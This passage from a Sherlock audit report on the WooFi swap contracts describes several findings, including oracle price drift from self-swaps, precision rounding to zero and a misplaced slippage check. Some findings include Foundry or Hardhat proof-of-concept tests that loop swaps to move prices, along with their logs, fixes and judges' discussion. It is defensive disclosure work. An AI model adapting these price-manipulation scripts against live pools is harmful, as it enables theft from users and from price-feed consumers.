As a result, swapping `baseToken` with itself will cause a net price drift rather than keeping price unchanged.

```
File: contracts\WooPPV2.sol
513:     function _swapBaseToBase(
...
520:     ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {
521:         require(baseToken1 != address(0) && baseToken1 != quoteToken,
↪  "WooPPV2: !baseToken1");
522:         require(baseToken2 != address(0) && baseToken2 != quoteToken,
↪  "WooPPV2: !baseToken2");
...
527:         IWooracleV2.State memory state1 =
↪  IWooracleV2(wooracle).state(baseToken1);
528:         IWooracleV2.State memory state2 =
↪  IWooracleV2(wooracle).state(baseToken2);
...
539:             uint256 newBase1Price;
```

```
540:             (quoteAmount, newBase1Price) =
↪  _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);
541:             IWooracleV2(wooracle).postPrice(baseToken1,
↪  uint128(newBase1Price));
...
554:             uint256 newBase2Price;
555:             (base2Amount, newBase2Price) =
↪  _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);
556:             IWooracleV2(wooracle).postPrice(baseToken2,
↪  uint128(newBase2Price));
...
578:     }
```

The following coded PoC intuitively shows the problem with a specific case:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "../../lib/forge-std/src/Test.sol";
import {console2} from "../../lib/forge-std/src/console2.sol";
import {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";
import {WooPPV2} from "../../contracts/WooPPV2.sol";
import {TestERC20Token} from "../../contracts/test/TestERC20Token.sol";
import {TestUsdtToken} from "../../contracts/test/TestUsdtToken.sol";

contract TestWbctToken is TestERC20Token {
    function decimals() public view virtual override returns (uint8) {
        return 8;
    }
}

contract PriceManipulationAttackTest is Test {
    WooracleV2_2 oracle;
    WooPPV2 pool;
    TestUsdtToken usdt;
    TestWbctToken wbtc;
    address evil = address(0xbad);

    function setUp() public {
        usdt = new TestUsdtToken();
        wbtc = new TestWbctToken();
        oracle = new WooracleV2_2();
        pool = new WooPPV2(address(usdt));

        // parameters reference: Integration_WooPP_Fee_Rebate_Vault.test.ts
```



SHERLOCK

```
        pool.setMaxGamma(address(wbtc), 0.1e18);
        pool.setMaxNotionalSwap(address(wbtc), 5_000_000e6);
        pool.setFeeRate(address(wbtc), 25);
        oracle.postState({_base: address(wbtc), _price: 50_000e8, _spread:
↪  0.001e18, _coeff: 0.000000001e18});
        oracle.setWooPP(address(pool));
        oracle.setAdmin(address(pool), true);
        pool.setWooracle(address(oracle));

        // add some initial liquidity
        usdt.mint(address(this), 10_000_000e6);
        usdt.approve(address(pool), type(uint256).max);
        pool.depositAll(address(usdt));

        wbtc.mint(address(this), 100e8);
        wbtc.approve(address(pool), type(uint256).max);
        pool.depositAll(address(wbtc));
    }

    function testMaxPriceDriftInNormalCase() public {
        (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));
        assertTrue(feasible);
        assertEq(initPrice, 50_000e8);

        // buy almost all wbtc in pool
        usdt.mint(address(this), 5_000_000e6);
        usdt.transfer(address(pool), 5_000_000e6);
        pool.swap({
            fromToken: address(usdt),
            toToken: address(wbtc),
            fromAmount: 5_000_000e6,
            minToAmount: 0,
            to: address(this),
            rebateTo: address(this)
        });

        (uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));
        assertTrue(feasible2);
        uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;
        assertEq(drift, 502); // 0.502%
        console2.log("Max price drift in normal case: ",
↪  _toPercentString(drift));
    }

    function testUnboundPriceDriftInAttackCase() public {
        (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));
        assertTrue(feasible);
```



```
        assertEq(initPrice, 50_000e8);

        // top up the evil, in real case, the fund could be from a flashloan
        wbtc.mint(evil, 100e8);

        for (uint256 i; i < 10; ++i) {
            vm.startPrank(evil);
            uint256 balance = wbtc.balanceOf(evil);
            wbtc.transfer(address(pool), balance);
            pool.swap({
                fromToken: address(wbtc),
                toToken: address(wbtc),
                fromAmount: balance,
                minToAmount: 0,
                to: evil,
                rebateTo: evil
            });
            (uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));
            assertTrue(feasible2);
            uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;
            console2.log("Unbound price drift in attack case: ",
↪   _toPercentString(drift));
            vm.stopPrank();
        }
    }

    function _toPercentString(uint256 drift) internal pure returns (string
↪   memory result) {
        uint256 d_3 = drift % 10;
        uint256 d_2 = (drift / 10) % 10;
        uint256 d_1 = (drift / 100) % 10;
        uint256 d0 = (drift / 1000) % 10;
        result = string.concat(_toString(d0), ".", _toString(d_1),
↪   _toString(d_2), _toString(d_3), "%");
        uint256 d = drift / 10000;
        while (d > 0) {
            result = string.concat(_toString(d % 10), result);
            d = d / 10;
        }
    }

    function _toString(uint256 digital) internal pure returns (string memory
↪   str) {
        str = new string(1);
        bytes16 symbols = "0123456789abcdef";
        assembly {
            mstore8(add(str, 32), byte(digital, symbols))
```

```
        }
    }
}
```

And the logs:

```
2024-03-woofi-swap\WooPoolV2> forge test --match-contract
↪  PriceManipulationAttackTest -vv
[] Compiling...No files changed, compilation skipped
[] Compiling...

Running 2 tests for
↪  test/foundry/PriceManipulationAttack.t.sol:PriceManipulationAttackTest
[PASS] testMaxPriceDriftInNormalCase() (gas: 158149)
Logs:
  Max price drift in normal case:  0.502%

[PASS] testUnboundPriceDriftInAttackCase() (gas: 648243)
Logs:
  Unbound price drift in attack case:  0.499%
  Unbound price drift in attack case:  0.998%
  Unbound price drift in attack case:  1.496%
  Unbound price drift in attack case:  1.994%
  Unbound price drift in attack case:  2.491%
  Unbound price drift in attack case:  2.988%
  Unbound price drift in attack case:  3.483%
  Unbound price drift in attack case:  3.978%
  Unbound price drift in attack case:  4.473%
  Unbound price drift in attack case:  4.967%

Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.59ms

Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
```

## Impact

Acccording `WooFI` doc (https://learn.woo.org/v/woofi-dev-docs/resources/on-chain-price-feeds), the `Wooracle` is intended to work as a price feed infrastructure for both `WooFI`'s other components and third parties. This bug would cause all related consumer APPs suffering potential price manipulation attack.

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/main/WooPoolV2/contracts/WooPPV2.sol#L513

## Tool used

Manual Review

## Recommendation

```
2024-03-woofi-swap\WooPoolV2> git diff
diff --git a/WooPoolV2/contracts/WooPPV2.sol b/WooPoolV2/contracts/WooPPV2.sol
index e7a6ae8..9440089 100644
--- a/WooPoolV2/contracts/WooPPV2.sol
+++ b/WooPoolV2/contracts/WooPPV2.sol
@@ -520,6 +520,7 @@ contract WooPPV2 is Ownable, ReentrancyGuard, Pausable,
 ↪  IWooPPV2 {
     ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {
         require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2:
 ↪  !baseToken1");
         require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2:
 ↪  !baseToken2");
+        require(baseToken1 != baseToken2, "WooPPV2: baseToken1 == baseToken2");
         require(to != address(0), "WooPPV2: !to");

         require(balance(baseToken1) - tokenInfos[baseToken1].reserve >=
 ↪  base1Amount, "WooPPV2: !BASE1_BALANCE");
```

## Discussion

**sherlock-admin4**

The protocol team fixed this issue in the following PRs/commits:
https://github.com/woonetwork/WooPoolV2/pull/110

**WangSecurity**

request poc

**sherlock-admin2**

PoC request not allowed.

**WangSecurity**

We decided to downgrade it to med cause the cost of such attack is extremely high.

**sherlock-admin2**

The Lead Senior Watson signed off on the fix.

# Issue M-4: WooFi oracle can fail to validate its price with Chainlink price feed

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/41

The protocol has acknowledged this issue.

## Found by

Avci, Bandit, Dliteofficial, infect3d, klaus, mstpr-brainbot

## Summary

The price precision that the WooOracle uses is 8. However, if the quote token is an expensive token or the base token is a very cheap token, then the price will be too less in decimals and even "0" in some cases. This will lead to inefficient trades or inability to compare the woofi price with chainlink price due to chainlink price return with "0" value.

## Vulnerability Detail

First, let's see how the chainlink price is calculated:

```
function _cloPriceInQuote(address _fromToken, address _toToken)
        internal
        view
        returns (uint256 refPrice, uint256 refTimestamp)
    {
        address baseOracle = clOracles[_fromToken].oracle;
        if (baseOracle == address(0)) {
            return (0, 0);
        }
        address quoteOracle = clOracles[_toToken].oracle;
        uint8 quoteDecimal = clOracles[_toToken].decimal;

        (, int256 rawBaseRefPrice, , uint256 baseUpdatedAt, ) =
↪   AggregatorV3Interface(baseOracle).latestRoundData();
        (, int256 rawQuoteRefPrice, , uint256 quoteUpdatedAt, ) =
↪   AggregatorV3Interface(quoteOracle).latestRoundData();
        uint256 baseRefPrice = uint256(rawBaseRefPrice);
        uint256 quoteRefPrice = uint256(rawQuoteRefPrice);

        // NOTE: Assume wooracle token decimal is same as chainlink token
↪   decimal.
        uint256 ceoff = uint256(10)**quoteDecimal;
```



SHERLOCK

```
        refPrice = (baseRefPrice * ceoff) / quoteRefPrice;
        refTimestamp = baseUpdatedAt >= quoteUpdatedAt ? quoteUpdatedAt :
↪   baseUpdatedAt;
    }
```

Now, let's assume the quote token is WBTC price of 60,000$ and the baseToken is tokenX that has the price of 0.0001$. When the final price is calculated at`refPrice` because of the divisions in solidity, the result will be "0" as follows: 60_000 * 1e8 * 1e8 / 0.0001 * 1e8 = 0

so the return amount will be "0".

When the derived chainlink price is compared with woofi oracle if the chainlink price is "0" then the `woPriceInBound` will be set to "true" assuming the chainlink price is not set. However, in our case that's not the case, the price returnt "0" because of divisions:

```
-> bool woPriceInBound = cloPrice_ == 0 ||
            ((cloPrice_ * (1e18 - bound)) / 1e18 <= woPrice_ && woPrice_ <=
↪   (cloPrice_ * (1e18 + bound)) / 1e18);

        if (woFeasible) {
            priceOut = woPrice_;
            feasible = woPriceInBound;
        }
```

In such scenario, the chainlink comparison between woofi and chainlink price will not give correct results. The oracle will not be able to detect whether the chainlink price is in "bound" with the woofi's returnt price.

This also applies if a baseToken price crushes. If the token price gets very less due to market, regardless of the quoteToken being WBTC or USDC the above scenario can happen.

## Impact

Oracle will fail to do a validation of its price with the chainlink price.

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L348-L369

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L2



43-L261

## Tool used

Manual Review

## Recommendation

Precision of "8" is not enough on most of the cases. I'd suggest return the oracle price in "18" decimals to get more room on rounding.

## Discussion

**sherlock-admin3**

1 comment(s) were left on this issue during the judging contest.

**WangAudit** commented:

> the calculation is incorrect; turn on the terminal; start chisel; copy+paste the calculation (60000 * 1e8 * 1e8) / (0.0001 * 1e8) (added brackets so it will be calculated correctly) and the answer is indeed 60000000000000000 (60_000e12 which is correct) and not 0

**fb-alexcq**

Thanks for filing this issue.

Our WooPP only selects the mainstream tokens (actually, only native, btc, usdc, usdt), so it won't face this extreme case. And it's not engineering efficient to update price decimal to `18` for the impossible case above.

**WangSecurity**

Firstly, here's a comment from tapir:

I made a typo in math calculation. I say quote token is wbtc and base token is a token with low price but doing the math opposite. @Wang Security comment is right here because of my typo.

the price is: (baseRefPrice * ceoff) / quoteRefPrice;

baseRefPrice = 0.0001 * 1e8; quoteRefPrice = 60_000 * 1e8; ceoff = 1e8 (WBTC decimals)

and the result is "0"

I asked Head of Judging and he allowed me to use the new context.

Moreover, the information about which tokens will be used (the ones mentioned in the above comment) was unavailable to watsons, and README says any token. On

top of it, it's infact unientended design. Therefore, Medium -> core functionality break -> the `price` function will validate 0 price from chainlink when it shouldn't do this.

**fb-alexcq**

The wooPP by default only supports selected list of tokens, manually added by admins (with offchain market making scripts). So this case for base/quote price goes beyond decimal 8 will never happen.

# Issue M-5: Swaps can happen without changing the price for the next trade due to gamma = 0

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/42

The protocol has acknowledged this issue.

## Found by

mstpr-brainbot

## Summary

When a swap happens in WoofiPool the price is updated accordingly respect to such value "gamma". However, there are some cases where the swap results to a "gamma" value of "0" which will not change the new price for the next trade.

## Vulnerability Detail

This is how the quote token received and new price is calculated when given amount of base tokens are sold to the pool:

```
function _calcQuoteAmountSellBase(
        address baseToken,
        uint256 baseAmount,
        IWooracleV2.State memory state
    ) private view returns (uint256 quoteAmount, uint256 newPrice) {
        require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");

        DecimalInfo memory decs = decimalInfo(baseToken);

        // gamma = k * price * base_amount; and decimal 18
        uint256 gamma;
        {
            uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) /
↪   decs.baseDec / decs.priceDec;
            require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap,
↪   "WooPPV2: !maxNotionalValue");

            gamma = (baseAmount * state.price * state.coeff) / decs.priceDec /
↪   decs.baseDec;
            require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");

            // Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k
↪   * baseAmount * oracle.price - oracle.spread)
```



SHERLOCK

```
            quoteAmount =
                (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *
                    (uint256(1e18) - gamma - state.spread)) /
                1e18 /
                decs.baseDec;
        }

        // newPrice = oracle.price * (1 - k * oracle.price * baseAmount)
        newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;
    }
```

Now, let's assume: DAI is quoteToken, 18 decimals tokenX is baseToken which has a price of 0.01 DAI, 18 decimals coefficient = 0.000000001 * 1e18 spread = 0.001 * 1e18 baseAmount (amount of tokenX are sold) = 1e10;

first calculate the `gamma`: (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec; = 1e10 * 0.01 * 1e8 * 0.000000001 * 1e18 / 1e8 / 1e18 = 0 due to round down

let's calculate the `quoteAmount` will be received: quoteAmount = (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) * (uint256(1e18) - gamma - state.spread)) / 1e18 / decs.baseDec; (1e10 * 0.01 * 1e8 * 1e18 / 1e8) * (1e18 - 0 - 0.01 * 1e18) / 1e18 / 1e18 = 99900000 which is not "0".

let's calculate the new price: newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18; = (1e18 - 0) * 0.01 * 1e8 / 1e18 = 0.01 * 1e8 **which is the same price, no price changes!**

That would also means if the "gamma" is "0", then this is the best possible swap outcome. If a user does this in a for loop multiple times in a cheap network, user can trade significant amount of tokens without changing the price.

**Coded PoC (values are the same as in the above textual scenario):**

```
function test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {
        // USDC --> DAI address, mind the naming..
        uint usdcAmount = 1_000_000 * 1e18;
        uint wooAmount = 100_000 * 1e18;
        uint wethAmount = 1_000 * 1e18;
        deal(USDC, ADMIN, usdcAmount);
        deal(WOO, ADMIN, wooAmount);
        deal(WETH, ADMIN, wethAmount);

        vm.startPrank(ADMIN);
        IERC20(USDC).approve(address(pool), type(uint256).max);
        IERC20(WOO).approve(address(pool), type(uint256).max);
        IERC20(WETH).approve(address(pool), type(uint256).max);
        pool.depositAll(USDC);
```



SHERLOCK

```
        pool.depositAll(WOO);
        pool.depositAll(WETH);
        vm.stopPrank();

        uint wooAmountForTapir = 1e10 * 1000;
        vm.startPrank(TAPIR);
        deal(WOO, TAPIR, wooAmountForTapir);
        IERC20(USDC).approve(address(router), type(uint256).max);
        IERC20(WOO).approve(address(router), type(uint256).max);
        IERC20(WETH).approve(address(router), type(uint256).max);
        vm.stopPrank();

        // WHERE THE MAGIC HAPPENS
        (uint128 price, ) = oracle.woPrice(WOO);
        console.log("price", price);

        uint cumulative;
        for (uint i = 0; i < 1000; ++i) {
            vm.prank(TAPIR);
            cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0,
↪   payable(TAPIR), TAPIR);
        }

        (uint128 newPrice, ) = oracle.woPrice(WOO);
        console.log("price", price);

        // price hasnt changed although there are significant amount of tokens
↪   are being traded by TAPIR
        assertEq(newPrice, price);
    }
```

## Impact

As by design, the price should change after every trade irrelevant of the amount that is being traded. Also, in a cheap network the attack can be quite realistic. Hence, I'll label this as medium.

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L420-L465

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L591-L619

## Tool used

Manual Review

## Recommendation

if the "gamma" is "0", then revert.

## Discussion

**fb-alexcq**

Thanks for the feedback.

In your example, your DAI amount is 1e10, which 10^-8 usdc in notional value. With such a small amount, zero gamma looks good here. Could you please come up another test case, with a swap amount at least great than 1 usd (and with swap fee) ?

Thanks in advance.

**WangSecurity**

request poc

**sherlock-admin3**

PoC requested from @mstpr

Requests remaining: **6**

**WangSecurity**

look at the comment above by the sponsor

**mstpr**

@fb-alexcq @WangSecurity It all comes down to the network cheapness and coefficient/spread values, if the network is cheap, then doing a many iterations with dust amount will lead to the situation above.

the below example has: pool.setFeeRate(WOO, 1000); uint64 private constant INITIAL_SPREAD_WOO = 0.001 * 1e18; uint64 private constant INITIAL_COEFF_WOO = 0.00000000000000001 * 1e18; uint128 private constant INITIAL_PRICE_WOO = 0.01 * 1e8;

swapping 1 WOO, 1000 times in single tx, receives 9.98 DAI in return without changing the price. If done with more iterations the impact is higher.

```
function test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {
        // USDC --> DAI address, mind the naming..
        uint usdcAmount = 1_000_000 * 1e18;
```



SHERLOCK

```
        uint wooAmount = 100_000 * 1e18;
        uint wethAmount = 1_000 * 1e18;
        deal(USDC, ADMIN, usdcAmount);
        deal(WOO, ADMIN, wooAmount);
        deal(WETH, ADMIN, wethAmount);

        vm.startPrank(ADMIN);
        IERC20(USDC).approve(address(pool), type(uint256).max);
        IERC20(WOO).approve(address(pool), type(uint256).max);
        IERC20(WETH).approve(address(pool), type(uint256).max);
        pool.depositAll(USDC);
        pool.depositAll(WOO);
        pool.depositAll(WETH);
        vm.stopPrank();

        uint wooAmountForTapir = 1e18 * 1000;
        vm.startPrank(TAPIR);
        deal(WOO, TAPIR, wooAmountForTapir);
        IERC20(USDC).approve(address(router), type(uint256).max);
        IERC20(WOO).approve(address(router), type(uint256).max);
        IERC20(WETH).approve(address(router), type(uint256).max);
        vm.stopPrank();

        // WHERE THE MAGIC HAPPENS
        (uint128 price, ) = oracle.woPrice(WOO);
        console.log("price", price);

        uint cumulative;
        for (uint i = 0; i < 1000; ++i) {
            vm.prank(TAPIR);
            cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0,
↪   payable(TAPIR), TAPIR);
        }

        (uint128 newPrice, ) = oracle.woPrice(WOO);
        console.log("price", price);

        console.log("Cumulative", cumulative);

        // price hasnt changed although there are significant amount of tokens
↪   are being traded by TAPIR
        assertEq(newPrice, price);
    }
```

**fb-alexcq**

For me, it still looks legit when the swap amount is so small (with such a low coef



slippage), the gamma could be 0. You think about when you trade 1 dai to usdc, you probably ended up with no slippage.

But to make the judgement more rigorous, I'm double checking with our algorithm dev.

**WangSecurity**

@fb-alexcq have you checked with the algorithm dev?

**fb-alexcq**

We decided to give the credit to the Watson. And have been come up with this fix: https://github.com/woonetwork/WooPoolV2/pull/114

In engineering perspective, it's impossible to deduce a zero gamma, but we decided to take more sanity check here , w/o costing too much gas.

**Banditx0x**

Interesting, I saw that gamma rounding could be infavor of user but didn't think it could result in anything signficant as it would only be off by 1. Nice one

# Issue M-6: `WooCrossChainRouterV4.crossSwap()` doesn't correctly check for slippage

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/85

## Found by

charles__cheerful, hals

## Summary

`WooCrossChainRouterV4.crossSwap()` doesn't correctly check for slippage, as it deducts external swapping fees after checking for the minimum bridged amount determined by the user.

## Vulnerability Detail

- `WooCrossChainRouterV4.crossSwap()` function is meant to enable users from executing a cross-chain swap, where a cross chain swap transaction may include all or some of the following steps (as per the documentation):
    1. Swap asset **A** in the user's wallet to asset **B** in WOOFi on the source chain
    2. Then bridging asset **B** to asset **C** on the destination chain via Stargate (asset B and asset C are of the same value)
    3. Then swap asset **C** to asset **D** in WOOFi on the destination chain and send to the wallet instructed by the user.
- So swapping from asset **A** to asset **B** on the source chain can be done either using a woofi pool (`WooPPV2`) via `wooRouter.swap()`, or this swap can be done via an external aggregater (where 1inch aggregator is going to be used) via `wooRouter.externalSwap()` that redirects the swap call to the external aggregator:

```
// Step 2: local swap by 1inch router
            if (srcInfos.fromToken != srcInfos.bridgeToken) {
                TransferHelper.safeApprove(srcInfos.fromToken,
↪   address(wooRouter), srcInfos.fromAmount);
                if (src1inch.swapRouter != address(0)) {
                    // external swap via 1inch
                     bridgeAmount = wooRouter.externalSwap(
                      src1inch.swapRouter,
                      src1inch.swapRouter,
                      srcInfos.fromToken,
```



SHERLOCK

```
                    srcInfos.bridgeToken,
                    srcInfos.fromAmount,
                    srcInfos.minBridgeAmount,
                    payable(address(this)),
                    src1inch.data
                );

                fee = (bridgeAmount * srcExternalFeeRate) / FEE_BASE;
            } else {
            //some code...
        }

        // Step 3: deduct the swap fee
        bridgeAmount -= fee;
```

where the resulted `bridgeAmount` will be checked to be > `srcInfos.minBridgeAmount` in the `wooRouter.externalSwap()`:

```
function externalSwap(
        address approveTarget,
        address swapTarget,
        address fromToken,
        address toToken,
        uint256 fromAmount,
        uint256 minToAmount,
        address payable to,
        bytes calldata data
    ) external payable override nonReentrant returns (uint256 realToAmount)
↪   {
        //some code...

        require(realToAmount >= minToAmount && realToAmount > 0,
↪   "WooRouter: realToAmount_NOT_ENOUGH");

        //some code...
    }
```

## Impact

But as can be noticed, an external swap fee is deducted from the `bridgeAmount` after the swap is done via an external aggregator (1inch aggregator) and after checking that the `bridgeAmount` is sufficient as per detrmined by the user ( > `srcInfos.minBridgeAmount`), and this might result in the `bridgeAmount` being less than required by the user `srcInfos.minBridgeAmount`.

## Code Snippet

WooCrossChainRouterV4.crossSwap function/L137-L138

```
// Step 2: local swap by 1inch router
        if (srcInfos.fromToken != srcInfos.bridgeToken) {
            TransferHelper.safeApprove(srcInfos.fromToken, address(wooRouter),
↪   srcInfos.fromAmount);
            if (src1inch.swapRouter != address(0)) {
                // external swap via 1inch
                bridgeAmount = wooRouter.externalSwap(
                    src1inch.swapRouter,
                    src1inch.swapRouter,
                    srcInfos.fromToken,
                    srcInfos.bridgeToken,
                    srcInfos.fromAmount,
                    srcInfos.minBridgeAmount,
                    payable(address(this)),
                    src1inch.data
                );

                fee = (bridgeAmount * srcExternalFeeRate) / FEE_BASE;
            } else {

            //some code...
    }

    // Step 3: deduct the swap fee
    bridgeAmount -= fee;
```

## Tool used

Manual Review

## Recommendation

Update `WooCrossChainRouterV4.crossSwap()` to check for the `bridgeAmount` being greater than the amount determined by the user `srcInfos.minBridgeAmount` after deducting the fees:

```
    function crossSwap(
        uint256 refId,
        address payable to,
        SrcInfos memory srcInfos,
        DstInfos calldata dstInfos,
        Src1inch calldata src1inch,
```



SHERLOCK

```
        Dst1inch calldata dst1inch
    ) external payable whenNotPaused nonReentrant {

    //some code...

   // Step 2: local swap by 1inch router
            if (srcInfos.fromToken != srcInfos.bridgeToken) {
                TransferHelper.safeApprove(srcInfos.fromToken,
↪   address(wooRouter), srcInfos.fromAmount);
                if (src1inch.swapRouter != address(0)) {
                    // external swap via 1inch
                    bridgeAmount = wooRouter.externalSwap(
                        src1inch.swapRouter,
                        src1inch.swapRouter,
                        srcInfos.fromToken,
                        srcInfos.bridgeToken,
                        srcInfos.fromAmount,
                        srcInfos.minBridgeAmount,
                        payable(address(this)),
                        src1inch.data
                    );

                    fee = (bridgeAmount * srcExternalFeeRate) / FEE_BASE;
                } else {

                //some code...
        }

        // Step 3: deduct the swap fee
        bridgeAmount -= fee;

+       require(bridgeAmount >= srcInfos.minBridgeAmount, "insufficient bridged
↪   amount");

        //some code...
```

## Discussion

### sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/woonetwork/WooPoolV2/pull/112/commits/151443bf3c780f4e45796312591c61e1bd188122

### WangSecurity

Initially, it was selected as a duplicate of 141, but it's not. 141 is invalid and 85 is



valid.

**sherlock-admin2**

> Escalate.
>
> Please think about the actual impact.

You've deleted an escalation for this issue.

**sherlock-admin2**

The Lead Senior Watson signed off on the fix.

# Issue M-7: Medium5-CrossChainWETHSwapFeesChargedUnnec

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/95

## Found by

charles__cheerful

## by CarlosAlegreUr

## Summary

When doing a cross-chain transfer with any valid `fromToken`, using `sgETH` as `bridgeToken` and **WETH** as `toToken` via the `WooRouterV2` swap on destination chain. The user is charged an unnecessary fee.

## Vulnerability Detail

When receiving a cross-chain swap trhough `sgReceive()` at `WooCrossChainRouterV4`, if the `bridgeToken` is **sgETH** then the `_handleNativeReceived()` will be called. This function if `toToken != ETH_PLACEHOLDER_ADDR` will perform a swap to change the eth used as `bridgeToken` for the `toToken` using, for example, the very same `WooRouterV2`. And for exchanging ETH it needs to be wrapped up as **WETH** which it does by calling `IWETH(weth).deposit{value: bridgedAmount}();`.

The problem comes when the `toToken` desired is **WETH**, then a ***WETH to WETH*** swap will be carried out by the `WooRouterV2` which will result in a fee being charged to the user due to a swap which makes no sense but would execute. So the user is losing unnecessary unexpected money.

You can see that `WooRouterV2` allows for swaps where `from` and `to` tokens are the same token exeuting the following code:

To run the code copy paste it inside the `./test/typesript/WooRouterV2.test.sol` file, then inside the `describe("Swap Functions", () => {})`, and then after the `beforeEach("Deploy WooRouterV2", async () => {})`, and then run:

```
npx hardhat test test/typescript/WooRouterV2.test.ts
```

```
it.only("swap btc -> btc", async () => {
  await btcToken.mint(user.address, ONE.mul(5));
  console.log("POOL BTC BALANCE", await utils.formatEther(await
↪  btcToken.balanceOf(wooPP.address)));
  console.log("Swap: btc -> btc");
  const fromAmount = ONE.mul(2);
  const minToAmount = ONE.mul(1);
```



SHERLOCK

```
  await btcToken.connect(user).approve(wooRouter.address, fromAmount);
  await wooRouter
    .connect(user)
    .swap(btcToken.address, btcToken.address, fromAmount, minToAmount,
↪   user.address, ZERO_ADDR);
  console.log("POOL BTC BALANCE", await utils.formatEther(await
↪   btcToken.balanceOf(wooPP.address)));
  console.log("That means from the 2 BTC user sent only 0.002 were left as
↪   fee.");
  console.log("What matters for our issue is that the tx succeeded and a fee was
↪   taken.");
});
```

> **Note** : The cross-chain tx described is feasible as there is no kind of `require(toToken != WETH && brdigeToken != sgETH)` anywhere.
>
> **Note** : I'm not sure what would happen if choosing **1inch** option. If the swaps go through this problem would apply. But if the tx reverts this problem wouldn't apply as the swapping fee of **1inch** wouldn't be applied and the transfer of `bridgeAmount` would take place as expected. Due to personal lack of time I let this question open. Anyway the recommendation proposed would fix the problem too in case **1inch** also allows execution of the unnecessary swap.

## Impact

Users lose unnecessary money when doing a cross-chain transfer with `sgETH` as `bridgeToken` and **WETH** as `toToken` via the `WooRouterV2` swap on detination chain.

## Code Snippet

- _handleNativeReceived() deposit WETH to later perform swap
- _handleNativeReceived() can execute swap through router

## Tool used

Manual Review

## Recommendation

At `_handleNativeReceived()`. In the case of bridging with **sgETH**, after the `if(toToken == ETH_PLACEHOLDER_ADDR){}`, add an extra if that checks if **toToken != WETH**, and if they are indeed different proceed with the swap.

```
        if (toToken == ETH_PLACEHOLDER_ADDR) {
          // code for when no swap required...
         }

         IWETH(weth).deposit{value: bridgedAmount}();

+        if (toToken != WETH) {
             // Swap required!
             // Swap logic...
+         }else{
+            // send the WETH
+        }
```

## Discussion

**sherlock-admin2**

1 comment(s) were left on this issue during the judging contest.

**WangAudit** commented:

> technically yes; it's WETH to WETH; but the user want to exchange another token (e.g.sgETH) to WETH; therefore; the fees are taken cause the user initially swaps not-WETH to WETH

**CarlosAlegreUr**

Escalate

I think I undertand where your point comes from, but I think it's wrong for the following reasons.

The way your comment is wrong is that actually if using `sgEth` as `bridgeToken`, even though its a token and thus a swap should be made to WETH and thus charge the fee and thus be valid as you say, even though that, the thing is that bridged `sgEth` doesnt arrive to the `CrossChainRouterV4` contract as a token but already as a native coin in `msg.value`. Thus when using `sgETH` as `bridgeToken` you are, a bit confusingly, not actually receiving a ERC20 token but native coin. You can see that this is true carefully looking at the code:

When `sgReceive()` is called and `bridgedToken=sgETH` we can see that the value being sent is not actualy sgETH token but pure ETH as `msg.value`.

That is why the code does the following, first in `sgReceive()`:
See code in repo click here Notice the dev team added a comment pointing out wh at I'm trying to explain here. Click to see.



SHERLOCK

```
if (bridgedToken == sgInfo.sgETHs(sgInfo.sgChainIdLocal())) {
            //  The comment below this one was added by the dev team and also
 ↪  informs that when sgETH, native token (coin) is received
            // bridgedToken is SGETH, received native token
            _handleNativeReceived(refId, to, toToken, amountLD, minToAmount,
 ↪  dst1inch);
}
```

If `sgEth` is used, `_handleNativeReceived()` is called, and then inside `_handleNativeReceived()`:

See code in repo click here

```
) internal {
     address msgSender = _msgSender();

     if (toToken == ETH_PLACEHOLDER_ADDR) {
         // Directly transfer ETH
         TransferHelper.safeTransferETH(to, bridgedAmount);
         emit WooCrossSwapOnDstChain(/*event args*/);
         return;
     }
 // (rest of code...)
```

You can see that the very first action taken is to check if you wanted native coin on destination chain, and if so, transfer it to you and then `return;`. This is because the `sgETH` is sent to the router as already native coin in `msg.value` and not as a token itself.

That is why there is no **sgETH -> WETH** swap and thus the unnecesarry **WETH -> WETH** swap in WooFi will execute as explained in the issue thus charging valid users fees that shouldnt be charged.

**sherlock-admin2**

> Escalate
>
